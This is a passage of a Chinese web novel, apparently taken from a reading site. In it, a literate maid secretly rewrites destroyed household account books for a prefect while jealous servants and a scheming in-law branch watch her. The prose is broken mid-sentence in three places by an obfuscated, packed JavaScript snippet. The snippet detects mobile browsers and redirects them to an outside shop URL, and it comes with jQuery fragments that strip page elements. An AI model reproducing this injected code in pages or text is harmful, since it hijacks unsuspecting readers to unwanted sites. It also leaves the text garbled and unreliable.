“你说的在理，凝晖轩若有旁人问你，你就说替我研墨，我悼念亡妻，要在小书房写祭文，你是我妻生前器重之人，我喜欢你在一旁与我说起她的一些旧事。至于旁的，我自会有说辞。你只记着，任何人问你都是这个回答。记住了吗？” “记住了。” 秦秋走出小书房的时候，就明白了，刺史大人要睹人思人，怕是要暂时利用她来挡刀了，一想到碧霄和青梧，以及这事有可能惊动当家的二夫人，甚至老夫人，秦秋就觉头疼，善始善终吧，唉！她重重地叹了一口气，一百两真的不好赚。 次日，朗州城州府衙门的书房之内。 刘从俭将手中的十数页纸递给身前的年轻人，道：“你看看。” 萧举年双手接过，一目十行地看完之后，惊诧地问道：“这是泽裳阁元贞十年的账目？” 刘从俭点点头。 萧举年震惊之色溢于言表，他又细细地看了一遍，颔首说道：“虽不尽详细，但是这些数前后倒是都能对得上，这么看来，泽裳阁确是赚钱的，只是，大人前几日说原账册已被销毁，府里的两份都被换了，这些，又是从哪儿来的？” 刘从俭面上仍是冷峻之色，道：“这你别管，你只需告诉我，这些账目可有法子核实？最好能取到一些凭证。”最重要的就是求证，真凭实据的证。 萧举年点点头，道：“这账册里所列举的几个大户，多是朗州本地的商户和官眷，待我细细暗访，应是不难。只是这卢家商行，卢家商行的订货都是直接发往泉州和京城，我与卢家之人并无往来，怕是有些难度。” “卢家商行的暂且不管，待我想想别的法子。你且先去查证其他的。” “是。”萧举年抬脚要走时，忽然又问道，“除了元贞十年的，大人可还有别的？若是来往的大客户都是那么几家，卑职索性一并去办。” “明日给你元贞九年的。四日后将元贞六年至十年的账目都交到你手中。” 萧举年心里隐隐生出一个猜测，看样子刺史大人是找到了看过账册的人，自己手里的这些是默写出来的。可是元贞六年到元贞十年？萧举年不由暗暗佩服，这记性非常人能及啊！他又端详了一下手中字迹，从笔力来看应是名女子，可是笔锋又有两分狷狂之象，萧举年不由对这默写账册之人生出了好奇之心。 被他好奇之人，今日破天荒地睡了一个懒觉，凝晖轩眼下没有主母，也没有管事姑姑，是以丫鬟们只要不把差事办砸，偶尔起得迟了些也不会被人说嘴。 说是懒觉，其实也不过只晚了小半个时辰，这在以往绝对是小事一桩，可是她昨日才与刺史大人单独在小书房待了近一个时辰，今日恰巧就起晚了，落在有心人眼里，可不就浮想联翩了！ 于是，在秦秋用过早饭、继续在窗前抱膝闲坐时，有人坐不住了。 “秦秋妹妹。”碧霄手里端着一盘点心，柔声唤道。 秦秋忙往一旁让座。她们这些丫鬟睡的都是大通铺，这炕上地方宽敞得很，可碧霄非得挤在她身旁坐了，将点心往她身前推了推，道：“这是老夫人才赏的，妹妹尝尝。” 来了，刺探底细的来了。秦秋配合地伸手拿了一块，慢条斯理地咀嚼着，等着碧霄发问。 “昨日，大人为何留你在书房？”碧霄见秦秋吃了半块点心，才开口问道，问完，一双眼睛如盈盈秋水。 秦秋索性将剩下半块也先噎下去，伸手去抓炕桌上的茶壶，碧霄忙体贴地帮她倒了半碗茶，喝茶的空隙，秦秋又瞄到了窗外一闪而过的衣角，嗯，很好，青梧也在，她就不用酝酿两遍了。 放下手中茶碗，秦秋对上眼前那双亮晶晶的眸子，她收拾了一下心绪，面上慢慢浮现出哀伤之色，叹道：“碧霄姐姐也知道，夫人在世时，常常叫我去小书房伺候。” “唔，除了夫人带来的人，就只有妹妹识字，夫人器重你也是应当的。”碧霄话中的酸涩十分明显。 秦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14598206|156001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秋继续哀戚地说道：“下月是夫人的周年祭日，大人说他近来常常梦见夫人，梦见与夫人在小书房下棋、读书……” “啊！”窗内外，两声惊呼同时响起。 秦秋手中的帕子按了按眼角，似在拭泪，继续哀声泣道：“大人想念夫人，昨日想写一篇祭文，不知怎的想起夫人生前提过我几回，便觉得既是给夫人写悼词，将我唤去研墨更虔诚些。” 秦秋说完，屋内屋外同时安静了许久，半晌，才听碧霄轻声问道：“只是研墨？” “大人絮絮叨叨说了不少夫人的往事，有些我知道，有些我不知道，我也只能支支吾吾地应和两句而已。不过大人似乎并不在意我的反应，只是想寻一个夫人生前略亲近的人，放在书房而已。” “这样啊，我晓得了。”碧霄轻飘飘地留下这句，黯然地走了。 秦秋轻舒一口气，心道，这下可以好好干活了。 凝晖轩众人惊奇地发现，今日院内格外安静，也不知发生了何事，碧霄兀自坐在房中一会神伤一会垂泪，而青梧则是痴痴地望着院中的花花草草，二人今日竟是一句也没拌嘴。如此安静，对秦秋而言正好，她的脑中在飞速地过着一行行账目。 直到刘从俭在申时如期归来，才打破了这份平静。 刘从俭发现，他今日一跨进院门，迎面就站着两个人，两个在他跟前待了十年的人，二人的眼神如出一辙，如痴如慕如怜，他心头忽然闪过疑问，秦秋这丫头到底是怎么说的，为何青梧、碧霄二人的眼神如此……如此饱含情愫？ “大人，可要……”又是碧霄抢先开口。 “送些吃的去小书房，还有，把秦秋叫来，给我研墨。”刘从俭说完，不理会二人的眼神，径直往东行去。 “大人，婢子也会研墨的。”碧霄的声音带着祈求。 “不必，叫秦秋过来。”刘从俭头也不回地越过她。 秦秋从后罩房拐出来时，与青梧碰个正着，对方红着眼，瞪了她两眼，经过她身旁时，还不忘将手中帕子一甩，“哼”了一声，秦秋无奈地继续闷头前行，在跨进小书房时，又被碧霄如怨似泣地眼神从头到脚扫视了两遍。唉，这才第二日呢，秦秋心里叹道。 更奇怪的是，秦秋今日在默写账册时，明显感受到来自刺史大人探究的目光，这三人的眼神交织着在她脑中闪烁，可想而知，秦秋只能奋笔疾书，在半个时辰又一刻钟之后，如释重负地搁下笔，道：“大人，元贞九年的写好了。” “唔，放那，退下吧。”刘从俭一面说一面向着书案走来。 秦秋忙行礼告退，就在她快走到门边之际，身后忽然传来一问：“今日可有人找你打听小书房的事？” “只碧霄问了。”青梧确实没问，秦秋严谨地答道。 刘从俭挑眉，道：“你如何说的？” “大人近来思念夫人，常忆与夫人在书房闲话，又念及婢子常在此间伺候夫人，故召婢子于此研墨，以奠故人。” 这么说来没甚毛病，刘从俭微微皱眉。 秦秋似乎明白对方在疑惑什么，忙补了一句：“碧霄应是被大人的深情感动。” 甚好，若是传到母亲与旁人那儿，他们应是更能相信他不愿续弦的真心，便能稳住二房。刘从俭满意地点点头，示意秦秋可以离开了。 5. 第五章 刘从俭召丫鬟在小书房单独说话之事，是在第五日的早上在刺史府后院传开的，立时一片哗然。 二房的凝曦院，郭云静坐在议事厅内，满面皆忧色，她的心腹丫鬟春雪和马嬷嬷分立左右。郭云静看着二人，欲言又止。 春雪心虚地低下头，打从一开始她就不赞成销毁账册做假账，二爷动用公中的钱花天酒地、为非作歹，二夫人就不该替他遮掩，等事情瞒不住了，自有老夫人和大爷教训他，可如今好了，二夫人心软答应了替二爷遮瞒，还想出往死人身上泼脏水的主意，大爷焉能善罢甘休！ 马嬷嬷堆着笑，宽慰道：“夫人不必担心，大爷向来不管府里俗务，他怎知账册之事？他又怎知府里哪些铺子是赚的，哪些铺子是亏的？况且，老奴遣人去凝晖轩打听过了，确是说大爷悼念大夫人，唤那丫鬟去书房只是研墨说话而已。” 郭氏犹不放心，问道：“可是，那丫鬟以前是帮着大嫂看账册的，这会不会，太巧合了些？” “夫人也想太多了，那丫鬟确实帮着看过账册不假，可那时大夫人更为倚仗她自己打娘家带来的两个丫鬟，秦秋那丫头，至今不过是个二等分例，若她先时果真是大夫人的左膀右臂，怎能不升一等？再说了，咱们可是把过往五年的账册都给换了，她一个毛丫头，能多大本事？还能把账册重新写出来不成？便是几十年的老账房，都做不到如此！”马嬷嬷信誓旦旦地打着包票。 郭氏心头略觉宽慰，点头道：“嬷嬷说得也是。不过，我终究觉得不太安心。这丫头，你回头寻个错处，远远地打发了去庄子上吧。” “夫人，这倒是有些不好办了。这丫头，她爹是前院的大管事，她娘也在后院领着差事呢，她日常是个闷葫芦，不爱说话的，更别说犯错了。”马嬷嬷面露为难地解释，见郭氏刚松开的眉头又是一皱，忙说道，“夫人不必忧虑，老奴敢用这颗人头作保，这丫头没那么大本事！况且，眼下咱们还不能确定这事是不是跟泽裳阁的账册有关，贸然将她打发出府，岂不是此地无银三百两？反倒惹了大爷的怀疑？若大爷是真看上了这丫鬟，那咱们就更不能这么做了！” 郭氏烦躁地看着二人，道：“依嬷嬷这么说，这丫鬟咱们还动不得了？” 马嬷嬷笑了笑，道：“夫人，咱们别动手，可以让凝晖轩的人动手。” “哦？”郭氏抬眉，春雪也轻轻地抬起头。 “凝晖轩那两个一等丫鬟，青梧和碧霄，心思都在大爷身上，若是大爷真看上了这丫头，她二人不会坐视不理的，尤其是碧霄！” 碧霄已经出手了。老夫人说了，若是院里有异样，要及早禀报。 和熙堂内，刘母坐在榻上，心急地看着来人，身子甚至微微前倾，道：“你来得正好，我正要传你来问话，你且说，大郎每日都唤人去书房待一个时辰的事是不是真的？” 碧霄垂首站在底下，尽量不让自己的声音暴露太多情绪，道：“回老夫人，确有此事。大人已经接连数日都提前一个时辰下值回府，回了院里也不摆饭也不叫我们这些人伺候，只在小书房里待着，留秦秋一个人说话。” “秦秋？我怎没甚印象？她也是大郎跟前伺候的？”刘母疑惑低语。 “秦秋是凝晖轩的二等丫鬟，日常给老夫人请安等事，轮不到她。” “二等啊，”刘母恍然道，“大郎为何独留她一人说话？她生得可标致？可是她主动引了大郎如此的？” “若说标致，秦秋姿色平平，婢子也不解其中缘故。大人近来脾气古怪得很，不仅是婢子，连青梧都吃了不少挂落。” 碧霄的回答看似无可挑剔，可却丝毫不提刺史大人“悼念亡妻”一茬以及秦秋是管事之女，她低垂着头，打着自己的小算盘，若是老夫人开口将秦秋放到别处当差，便是管事也不好说情。当然，她也没注意到，刘母身侧的木槿别有深意地看了她两眼。 刘母仍在兀自苦思，姿色平平？儿子身边的两个大丫鬟她心里有数，青梧和碧霄的长相在这府里也是翘楚，她不反对儿子纳妾，这两个丫鬟这么多年都没动静，莫非儿子当真无意？可这个秦秋，又是为什么呢？她看了看底下之人，既然她不知道，就问问儿子吧，若是真合了他的意，抬个丫鬟也不是不可以，犯不着不续弦。 “行了，你去吧。”刘母摆摆手，懒懒地往后一靠。 碧霄有些愣神，就这样吗？老夫人不打发秦秋吗？她微微抬眼，却见老夫人已经微阖着双眼，舒服地半躺在暖榻之上，一旁的小丫鬟上前轻轻地为她捶着腿。 碧霄不甘心，张口想再说两句，木槿却忽然拉住她的手，道：“你来得正好，我在给老夫人做抹额，有两个花样绣不好，你来给我瞧瞧。”说完，不由分说地将碧霄拉了出去，碧霄不敢挣扎，只得去了。 片刻之后，昏昏欲睡的刘母听到身侧熟悉的脚步声，她眼未睁，只轻笑着说：“我的抹额够多了，你又做新的。”一面说一面伸出一手，示意对方扶自己起来。 木槿呵呵笑道：“过了冬至就是腊月了，腊八一过就是年，去年因为大夫人离世，府里过年也极为冷清，婢子料定今年您一定想好好热闹热闹，届时来来往往的亲眷给您拜年，咱们这些丫鬟灰头土脸就算了，您可是刺史府的门面，可不得拾掇得齐整些！” 木槿一席话将刘母哄得眉开眼笑，登时就要吩咐去请郭氏，问她给府中各人裁制新衣的事安排得如何了。等传话的人去了，刘母才又斜眼睨着木槿，笑说道：“把我哄高兴了，可是有话要说？” 木槿浅浅一笑，退到刘母身后，力度恰好地为刘母揉捏着双肩，等听到刘母发出一声舒服的喟叹，才温声说道：“老夫人英明，果真瞒不过老夫人。” 刘母拍拍她的手，笑道：“说吧，跟我还有什么可藏着掖着的？我还不知你的为人品性吗？” “婢子打听过了，大爷之所以近日总留秦秋在小书房，是因为要给夫人写悼文。” “哦？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14598207|156001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 悼文？”刘母眼中闪过一丝意味不明的光，碧霄可没提这茬。 木槿见刘母并不反对，才继续说道：“老夫人定会觉得奇怪，凝晖轩那么多丫鬟，为何大爷写悼文偏偏点的是秦秋呢？只因秦秋会识字看账，大夫人在世时，常让秦秋在书房伺候，或是帮着看账本，或是帮着研墨，听闻因为大夫人祭日在即，大爷最近常常梦见大夫人，想起大夫人生前与他夸过几次秦秋，这才将她叫去书房伺候，不过是追忆故人罢了。” 儿子竟真这么想念儿媳妇？这可不太妙啊。刘母心下叹道，忽又问道：“适才碧霄说她只是个二等丫鬟，咱们府里，连一等丫鬟都没几个识字的，怎么她一个二等，倒会识字看账？” 木槿笑了笑，说道：“老夫人莫不是忘了，咱们前院有个秦管事呢，秦秋是秦管事的女儿！算来，若是在别院，能识字看账那必然是一等的分例了，可是凝晖轩也就四个一等，先前大夫人的陪房丫鬟占了两个，剩下两个给了青梧和碧霄，她可不就只能二等了？不过秦秋这人平日里只闷声不响地做事，倒是不太计较这些。大夫人见她可靠，先时每个月都是按一等的月钱给她的。” “原来如此啊！老秦两口子我还是知道的，都是老实忠厚之人。”刘母拍拍自己肩上的手，笑道，“你与她倒是交情匪浅啊。” 碧霄的回话，句句都是实话，可也句句没提实话，若是自己真动了怒，觉得她一个二等丫鬟就敢兴风作浪，开口将她打发了，不免伤了母子情分，再则也寒了家中老仆的心。碧霄啊碧霄！刘母摇摇头，默然一叹。 木槿转到刘母身前，奉了一盏热茶，又道：“大夫人在世时，老夫人常让奴婢查阅账本，有何疑问之处，跑腿的都是秦秋，是以我对她的为人也略知一二，她不是那等轻浮之人，况且，秦管事夫妇若真有那想头，也不会把她塞进凝晖轩了。” “这话怎么说？” “单论长相，秦秋确是不出众的，凝晖轩里已经有了青梧和碧霄，两人都算是咱们这些人里头的美人了，更何况，先前还有大夫人带来的人，环肥燕瘦，应有尽有，若是秦管事夫妇和秦秋自己有那想头，何必要去永无出头之日的凝晖轩？” 这话倒是在理，刘母深以为然，若论姬妾，大房三房加起来都比不上二房，唉！这般说来，自己的儿子留这个丫鬟说话，倒真是因为亡妻之故了。 思及此，刘母不由又忧愁起来，叹道：“木槿啊，你说大郎这般可怎么是好？二房三房都是成双成对有儿有女的，就只他孤零零的，我原本还选定了好几家的闺女，想趁着年宴摆酒的时候，给他相看呢！” 木槿松了一口气，老夫人这般反应便是不再追究秦秋了，至于大房主子们的事，可不是她能出主意的。木槿笑着宽慰道：“老夫人不必忧虑，您只管请客就是，万一过段时日，大爷的心思又变了呢？离过年不是还有两个月的嘛！” “但愿如此吧。” 一时郭氏到了，二人便按下此话不提。 6. 第六章 秦秋还不知道自己刚躲过两支暗箭，待元贞六年的账册落下最后一笔时，她的声音里有一丝压抑不住的激动：“大人，元贞六年的已写出来了。”当然，元贞六年的只有寥寥数页了。 刘从俭也有些惊讶，他没想到这丫鬟还真有这本事，若是衙门之内也能有此人才……刘从俭眼神闪烁了一下，慢慢地踱步到书案前，秦秋忙极其有眼色地退到下方。 “不错，这是两张五十两的银票，卢家钱庄的，赏你了。这赏钱你爹娘不会知道，你且好生收着吧。”刘从俭轻笑一声。 “谢大人赏。”秦秋激动地接过银票，飞快地扫了一眼，就极其利落地叠好塞进袖子里，正要行礼告退，书案之后的人又朗声说道—— “说来，卢家钱庄与卢家商行是同一个大掌柜，卢家商行你不陌生吧？” 秦秋虽不知何意，但账册都写了，也没什么好藏拙的，忙答道：“大人不必试探奴婢，卢家商行是泽裳阁的大主顾，每年都要在咱们这儿订上两千匹纱罗、五千匹楚绣丝绸及五千匹素缎。卢家商行的大掌柜更是闻名天下，她乃博望侯的妹妹，与夫家和离之后南下经商，不过五年，卢家商行已遍布各州府。” “好得很！我且问你，若是想与泽裳阁对账，该如何行事？” 秦秋一愣，这话问得稀奇，她不明所以地看向刘从俭，道：“像卢家商行这种大主顾，岁末之际都会派人来与泽裳阁核对往来账目，他们历来都是年初预付一半的货款，年底双方对账之后，再付剩余货款。大人若要查实婢子所记的元贞六年到十年的数目有无差池，与卢家商行的掌柜说一声，看看卢家的账册，应是无碍的。卢家商行的铺子与泽裳阁，一个在街头一个在街尾。” 刘从俭深深地看了一眼底下之人，道：“你还不知吧，今年六月之后，卢家就不再从泽裳阁进货了，他们本地的掌柜扬言不再与泽裳阁做生意。我自是知晓他们的账册一定记有与府中的往来，只是如今，卢家未必会帮我这个忙。” 天将降大任于斯人也！秦秋沉默半晌，终于小心翼翼地问道：“大人的意思是，想问奴婢是否与卢家的人有交情？” 刘从俭满意地颔首。 秦秋犯难了，她与卢家还真没有交情，她是谁啊，不过是个小丫鬟罢了，但是，大夫人与卢大掌柜有过几次书信往来，其中有两封是她代笔的，那阵子大夫人手疼，也不知为何，大夫人舍下她的陪房，直接找的自己代笔，也许是因为她这人面相正直、不爱说话吧。 刘从俭还在等着秦秋的回复，看这丫鬟脸上的神情就知，她一定知晓些什么，果然，他见对方深吸一口气—— “回大人的话，奴婢与卢家的人并无交情，只是大夫人在世时，曾让奴婢代写过两封书信，是去往泉州，卢大掌柜亲收的。” 竟是这样，她……刘从俭面上闪过苦涩，心下叹道，他真是负她良多啊，娶她进门却忙于公事，以至她郁郁寡欢、积劳成疾，泽裳阁是刘家的家业，为了打理这份家业，她竟然还跟卢家攀上了交情。生前已负她，如今决不能让二房为了一己之私往她身上泼脏水！刘从俭内心愈发坚定了。 秦秋沉默地看着刘从俭变幻不定的神色，这应当是在追思吧，自己到底是悄悄地走出小书房呢，还是等着刺史大人发话呢？这心思可真难猜啊，这时，她又暗暗佩服起青梧和碧霄，她们要从一个眼神一个动作去猜测大人的心思，可真难啊！ “你先下去吧。卢家之事，待我想想。莫与旁人提起。” 秦秋绞着手指头，等了半晌，终于等到了头顶传来大赦的声音，她忙飞快地退出了书房。 转过拐角，正要长舒一口气，就被阴影处候着的碧霄吓了一跳，险些叫出声来。 “碧霄姐姐，你在这作甚？不冷吗？”秦秋捂着胸口，惊魂甫定。 “今日可比前几日又晚了两刻钟，秦秋妹妹真是长进了！”碧霄酸溜溜地说道。 那还不是因为说到了卢家！秦秋看着眼前之人，寒冬腊月非得在这风口里站着，果然是人各有志。秦秋嫣然一笑，道：“碧霄姐姐，大人的祭文已写好了，方才我出来时，大人说了，明日起，我不用去书房伺候了！” 即使是浓浓夜色也掩不住碧霄眼底的欣喜之色，她惊叹出声：“当真？”说完才觉自己失态，又讪讪地笑了一下。 秦秋但笑不语，只点点头就走了。 碧霄原本还不敢全信，直到次日，刘从俭去府衙之前，在院中设了香案，焚了数篇祭文，不仅如此，还一面焚稿一面吟诵不绝，声音凄切哀婉，凝晖轩众人虽听不太懂那些文绉绉的词句，可是也被刺史大人的情绪感染，无不落泪。 而后，又过了三日，刺史大人当真又恢复了以往的习惯，每日都是初鼓之后才回凝晖轩。虽然大人依旧对自己冷冷的，但是却让碧霄十分安心，至少别人也得不到一个好脸。 消息传到各房时，又是一番不小的震动。 郭氏一脸错愕地看着马嬷嬷，问道：“莫非大伯真是对大嫂情深义重？” 马嬷嬷的一脸褶子都在发颤，她得意地说道：“我就说嘛，夫人放心，秦秋就是一个小丫头片子，虽然能识字看账，这不稀奇，府里能看账本的也不独她一个，可是这默写账册，哎哟哟，不是老奴吹牛，老奴那孙子，学堂里的夫子都夸他是神童，可他老子让她背一个月前的文章他都背不出来，秦秋还能比我孙子聪明？” 郭氏似信非信地看着她。 马嬷嬷赔笑继续说道：“大爷与大夫人是少年夫妻，一个骤然离世，另一个定然是想的。大夫人的陪房都已回了蒋家，咱们府里的人，只一个秦秋对大夫人熟些，大爷既是要睹物思人，那自是会对她看重几分，除此肯定再无旁的，夫人就放心吧！” 郭氏见她说得在理，便也将此事暂时搁置了。她又交待了马嬷嬷些旁事，一抬眼就见春雪步履匆匆而来，低声禀道：“夫人，府里来信了。” 春雪口中的“府里”自是指郭家了。 另一边，萧举年拿着五年的账册 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14598208|156001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 找上刘从俭，他似乎遇到了什么难事，一脸纠结地问道：“大人，这账册我有几处不明白的地方，已用朱笔圈了出来，大人可否为卑职解惑？” 刘从俭接过，看看圈红之处，又看看对方殷殷期盼的双眼，不自在地咳了两声，撇开脸去，道：“虽说君子习六艺，但我自幼在算术上资质平平，帮不了你。”说完，又递了回去。 大人您倒是坦诚！萧举年认命地接过，不甘心地又问：“那这写账册的人可否解答一二？” 刘从俭沉吟半晌，凝眉问道：“令你犯疑之处，可要紧？” “十分要紧！”萧举年凝重地点头。 书房陷入沉寂，良久，刘从俭说道：“腊八那日，萧嬷嬷按例会进府，你是不是许久没给老夫人请安了？” 萧举年忙拱手答道：“卑职遵命。” 刘从俭口中的萧嬷嬷乃是跟随了刘母五十余年的人，萧嬷嬷与其夫婿俱是孤儿，被刘母所救，因刘母娘家姓萧，他二人亦都被主家赐了萧姓，而萧举年正是萧嬷嬷的亲孙子。 在萧举年五岁时，刘母做主放了他们一家的身契，又安排了萧举年进刘家的家学念书，如今，萧举年是朗州州府内的录事，虽只是九品小官，可却是实打实的正经官身，也算没有辜负刘父当年为他取名举年。 冬至一过，凝晖轩似乎一下就鲜活起来。也不怪众人高兴，一则年关将近，二则老夫人发了话，今年过年要热闹一些，要给府里每人多裁一套冬衣。是以，丫鬟婆子们一想到腊月和正月既可以领双份月钱，又有接连不断的赏赐，还比往年多了一套衣裳，人人脸上都难掩喜色。 秦秋把她的一百两银票缝进了刚换的枕套里，每日一睁眼，她就觉得睡梦酣沉，夜里绵长又踏实，睡得香，脸色都红润了许多。 自她不用再去小书房之后，她又恢复了在凝晖轩的舒服日子。这日，她双手笼在袖子里，在院里寻了一处被日头晒着的地儿，懒洋洋地蹲在地上，时而眯缝着双眼看着几个小丫鬟拆洗被褥。 鹊儿从外面小跑着回来，手里还捧了一包炒栗子，见秦秋蹲着的那处日头正好，便也挤过去，二人晒着太阳剥起栗子来。 “秦秋姐姐，你听说了吗？二夫人娘家要来人了，说是来咱们府上过年。”鹊儿低声说道。 “哦？还有这等事？”秦秋剥好一颗，丢进嘴里，眨巴着眼睛看着鹊儿。 鹊儿的兴头更高了，她凑到秦秋耳边，道：“是真的，我方才托人买栗子，二门的小厮和婆子都在议论呢，说是二夫人的娘和妹妹要来，前些日子来了信，连安置他们的院子都收拾好了！也就腊八前后几日的事！” “二夫人的娘家在蜀中吧？竟大老远来咱们这儿过年，也是稀奇！”秦秋又剥了一颗，继续配合地问道。 “可不是嘛！我还听说啊，二夫人的妹妹还待字闺中呢，说不得就留在咱们朗州了！”鹊儿说完，一脸骄傲的神色。 秦秋忙赞道：“还是你机灵，这些消息也亏得你能打听出来！” 7. 第七章 郭家母女是在腊月初七这日抵达朗州城的。那日，朗州城内刚下了入冬以来的第一场雪。载着郭家母女二人的马车，及随从和辎重从西边进了城，晃晃悠悠地往刺史府而去。 郭母没甚底气地叹道：“也不晓得你姐姐收没收到咱们的信！他们府上这一年也够折腾，她如今管着家，诸事操劳，又是年节的当口，咱们就这么来投奔她，也不晓得她为难不为难！” 郭云喧轻嗤一声，道：“有什么为难不为难的，他们府上若是不便宜，咱们就挨着刺史府赁个宅子便是！本就不是为了上门打秋风，只想借点刺史府的光，挡挡益州那家人的煞气罢了！” “你呀，还是这么口没遮拦！你二人到底血浓于水。她就算不顾着我，看在你父亲的分上，也得顾着你不是？”郭母无奈地叹道。 原来，眼前的郭母并非郭云静的生母，乃是郭父的继室。郭家祖辈世居益州，世代也是读书仕宦人家。郭父年少时去长安求学、又科举中第，一度曾官拜正五品的谏议大夫，只是后来因病致仕，才携妻带女回了益州。 要说郭云静的亲事，还是郭父在长安为官时定下的。彼时，郭云喧才是八九岁的孩童。一晃十来年过去了，郭父早在三年前就已化为益州城外的一抔黄土，若非情势所逼，郭母也不会想着来投奔这个女儿。 凝曦院内，郭云静还不知自己的继母和异母妹妹已经叩响了刘府的大门。 刘母前几日发了话，腊八节礼要置办得隆重一些，临时又添了在府外搭粥棚赠腊八粥的主意，郭云静这两日忙得脚不沾地，自然也就忘了在她心上分量最轻的这一茬，所幸春雪早已对二门上当班的婆子小厮都交待过了。 是以，当丫鬟来报“郭夫人已在二门外下了马车”时，郭云静自己都愣了一下，还是春雪率先反应过来，手上暗暗使力，引着郭云静往外走，笑说道：“瞧把夫人高兴的！婢子陪夫人去迎接太太和二姑娘。” 这厢，郭云静被仆妇簇拥着才走出院门，那厢，就有两个婆子领着郭家母女二人到了，郭云静上回与她们相见还是三年前回益州奔丧的时候，阔别三年，此时看着风尘仆仆、远道而来的继母和妹妹，她多少也有些心绪起伏，几步上前亲热地携了郭母的手，将人往凝曦院正房引去。 待三人在屋内分宾主坐定，又有丫鬟捧上茶果点心，春雪便自作主张地将其余人等打发了出去，她自己亲自奉茶递水，极尽周到。 郭母微微笑着颔首，随意起了个话头：“春雪如今也是越发出息了，到底是跟着你的人，比先时在益州能干了许多。” 春雪面上闪过一丝轻微飘忽的羞赧，笑道：“太太快别打趣我。” 郭云静的视线却是越过继母，落到妹妹郭云喧的身上，她的眼底闪过一抹惊艳，感慨道：“三年未见，妹妹也是出落得越发标致了。唉，是我这做女儿和做姐姐的人不对，这些年也抽不开身回去看你们！还得累你们挂念着我，从益州千里迢迢奔了来，否则，咱们也不知何时能再叙骨肉亲情！”言罢，面上已现哀痛之色，又举起手绢轻轻地去碰眼皮。 郭母在信里并没有说得很详细，只说郭父丧期已过，她惦记着这位出嫁的女儿，料她嫁人了回家不便，便带着小女儿来朗州一聚。信和人是同一日从益州启程的。 郭云喧垂下头喝茶，右手掀起的茶盖刚好挡住了她半张脸，是以郭云静并没有看见在自己这番话之后，郭云喧唇边一闪而过的笑容，那笑透着淡淡的嘲讽。 郭母正纠结要不要将益州之事说给这位姑奶奶听，她看向郭云喧，想向小女儿拿个主意，可郭云喧却轻轻摇着头去吹茶盏里的浮沫，这是拒绝的意思了，唉，自己生的这个倒是个倔驴脾气。罢了，日后再说吧，就当是探亲好了！ 郭母面上略带歉意，对着郭云静说道：“我前段时日总是梦到你父亲，梦到先时咱们一家人在一块儿的日子，所以一心想着带你妹妹来看看你，等上路了才又想起眼下已是岁末年关，也不知是否打扰你，若是府上不方便，我和你妹妹便——” 郭母“赁个屋子”的话还没说出口，已被郭云静出言截断，她忙似嗔似怒地埋怨道：“母亲这叫什么话，什么叫不方便？我正要说呢，母亲和妹妹既来了，就别急着走，在朗州多住个一年半载的才是！就是过年才热闹呢！我已将你们要来一事回禀了婆母，她老人家最喜热闹，一听你们要来比我还高兴呢，千叮咛万嘱咐让我好好收拾院子留你们住下，最好住久些，住得越久她越欢喜呢！” 说罢，郭云静又忍不住去看郭云喧，心里叹道，自己这妹妹真是好颜色！说不得婆母见了喜欢，就要替她保媒留在朗州。说媒？郭云静心头一跳，若是她能嫁给大伯做续弦，那这管家之权不就还捏在自己手里吗？郭云静这般想着，眼神越发亮了，一直盯着郭云喧看个不住。 郭云喧喝了半盏茶，又吃了几块点心，才将手轻轻放下，对着郭云静大大方方一笑，道：“姐姐总看着我作甚？” “你这丫头，姐姐许久不见你，自是想多看你两眼！”郭云静呵呵笑道。 母女三人又叙了些别后寒温，郭云静才要领着她们二人去已收拾好的住处，就见门外有丫鬟来禀，道是老夫人听说亲家母来了，遣人来迎她们去说话。郭云静只好叫春雪亲自领了人去安置她二人的随从和行李，自己则领了她们往和熙堂逶迤而去。 凝晖轩内，七八个丫鬟都挤在秦秋她们的屋子里烤火。没有主母，她们的炭火分例自然比往年少了，偏偏今年又冷，是以每日太阳落山之后，她们便将炭火归拢到一处，聚在一个屋子里烤火，此时也不嫌拌嘴了。 只见鹊儿脸上难掩兴奋之色，叽叽喳喳地说道：“我下晌去厨房拿东西，回来的路上刚好碰到郭家二姑娘她们进府，我瞧得真真的，郭二姑娘像个仙女儿似的，可真好看！” 喜枝又跟她呛道：“你少来，你嘴里能有几句实话？但凡来个亲戚家的女眷，你哪回不夸人家是仙女？左一个仙女，右一个仙女，在你眼里，朗州城里遍地都是仙女！” 屋内众人哄堂大笑。 鹊儿红了脸，仰着脖子不服气地说道：“你不信，你去瞧瞧去，她们这会儿应是在和熙堂给老夫人请安呢。” “和熙堂？青梧姐姐不是才从和熙堂领东西回来吗？青梧姐姐，鹊儿的话当真？”一人好奇地看向青梧。 